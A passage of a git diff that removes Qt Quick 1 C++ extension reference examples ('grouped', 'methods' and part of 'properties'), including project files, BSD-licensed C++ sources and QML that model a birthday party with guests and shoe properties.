shoe.brand: "Marc Jacobs" - shoe.price: 699.99 - } -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/grouped.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/grouped.pro deleted file mode 100644 index ca6deeac4a..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/grouped.pro +++ /dev/null @@ -1,17 +0,0 @@ -TEMPLATE = app -TARGET = grouped -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += grouped.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/grouped -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS grouped.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/grouped -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/grouped.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/grouped.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/grouped.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/main.cpp deleted file mode 100644 index de7d714c52..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/main.cpp +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - Person *bestShoe = 0; - for (int ii = 0; ii < party->guestCount(); ++ii) { - Person *guest = party->guest(ii); - qWarning() << " " << guest->name(); - - if (!bestShoe || bestShoe->shoe()->price() < guest->shoe()->price()) - bestShoe = guest; - } - if (bestShoe) - qWarning() << bestShoe->name() << "is wearing the best shoes!"; - - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/person.cpp deleted file mode 100644 index 7afcdc6ca6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/person.cpp +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -ShoeDescription::ShoeDescription(QObject *parent) -: QObject(parent), m_size(0), m_price(0) -{ -} - -int ShoeDescription::size() const -{ - return m_size; -} - -void ShoeDescription::setSize(int s) -{ - m_size = s; -} - -QColor ShoeDescription::color() const -{ - return m_color; -} - -void ShoeDescription::setColor(const QColor &c) -{ - m_color = c; -} - -QString ShoeDescription::brand() const -{ - return m_brand; -} - -void ShoeDescription::setBrand(const QString &b) -{ - m_brand = b; -} - -qreal ShoeDescription::price() const -{ - return m_price; -} - -void ShoeDescription::setPrice(qreal p) -{ - m_price = p; -} - -Person::Person(QObject *parent) -: QObject(parent) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -ShoeDescription *Person::shoe() -{ - return &m_shoe; -} - - -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/person.h deleted file mode 100644 index dea715bacb..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/person.h +++ /dev/null @@ -1,107 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include -#include - -class ShoeDescription : public QObject -{ - Q_OBJECT - Q_PROPERTY(int size READ size WRITE setSize) - Q_PROPERTY(QColor color READ color WRITE setColor) - Q_PROPERTY(QString brand READ brand WRITE setBrand) - Q_PROPERTY(qreal price READ price WRITE setPrice) -public: - ShoeDescription(QObject *parent = 0); - - int size() const; - void setSize(int); - - QColor color() const; - void setColor(const QColor &); - - QString brand() const; - void setBrand(const QString &); - - qreal price() const; - void setPrice(qreal); -private: - int m_size; - QColor m_color; - QString m_brand; - qreal m_price; -}; - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) -// ![1] - Q_PROPERTY(ShoeDescription *shoe READ shoe) -// ![1] -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - ShoeDescription *shoe(); -private: - QString m_name; - ShoeDescription m_shoe; -}; - -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/birthdayparty.cpp deleted file mode 100644 index 52a1cc7e20..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/birthdayparty.cpp +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -// ![0] -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - -void BirthdayParty::invite(const QString &name) -{ - Person *person = new Person(this); - person->setName(name); - m_guests.append(person); -} -// ![0] - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/birthdayparty.h deleted file mode 100644 index e49afdb78d..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/birthdayparty.h +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include "person.h" - -class BirthdayParty : public QObject -{ - Q_OBJECT - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - -// ![0] - Q_INVOKABLE void invite(const QString &name); -// ![0] - -private: - Person *m_host; - QList m_guests; -}; - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/example.qml deleted file mode 100644 index f4673e0a36..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/example.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import People 1.0 - -// ![0] -BirthdayParty { - host: Person { - name: "Bob Jones" - shoeSize: 12 - } - guests: [ - Person { name: "Leo Hodges" }, - Person { name: "Jack Smith" }, - Person { name: "Anne Brown" } - ] - - Component.onCompleted: invite("William Green") -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/main.cpp deleted file mode 100644 index d037d88f20..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/main.cpp +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType("People", 1,0, "Person"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - qWarning() << "They are inviting:"; - for (int ii = 0; ii < party->guestCount(); ++ii) - qWarning() << " " << party->guest(ii)->name(); - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/methods.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/methods.pro deleted file mode 100644 index c516049fe2..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/methods.pro +++ /dev/null @@ -1,18 +0,0 @@ -TEMPLATE = app -TARGET = methods -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative qtquick1 - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += methods.qrc - -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/methods -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS methods.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/methods -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/methods.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/methods.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/methods.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/person.cpp deleted file mode 100644 index 30d1e46e5a..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/person.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -Person::Person(QObject *parent) -: QObject(parent), m_shoeSize(0) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -int Person::shoeSize() const -{ - return m_shoeSize; -} - -void Person::setShoeSize(int s) -{ - m_shoeSize = s; -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/person.h deleted file mode 100644 index dd3ad4d188..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/methods/person.h +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - int shoeSize() const; - void setShoeSize(int); -private: - QString m_name; - int m_shoeSize; -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/birthdayparty.cpp deleted file mode 100644 index d944b9f3ac..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/birthdayparty.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF 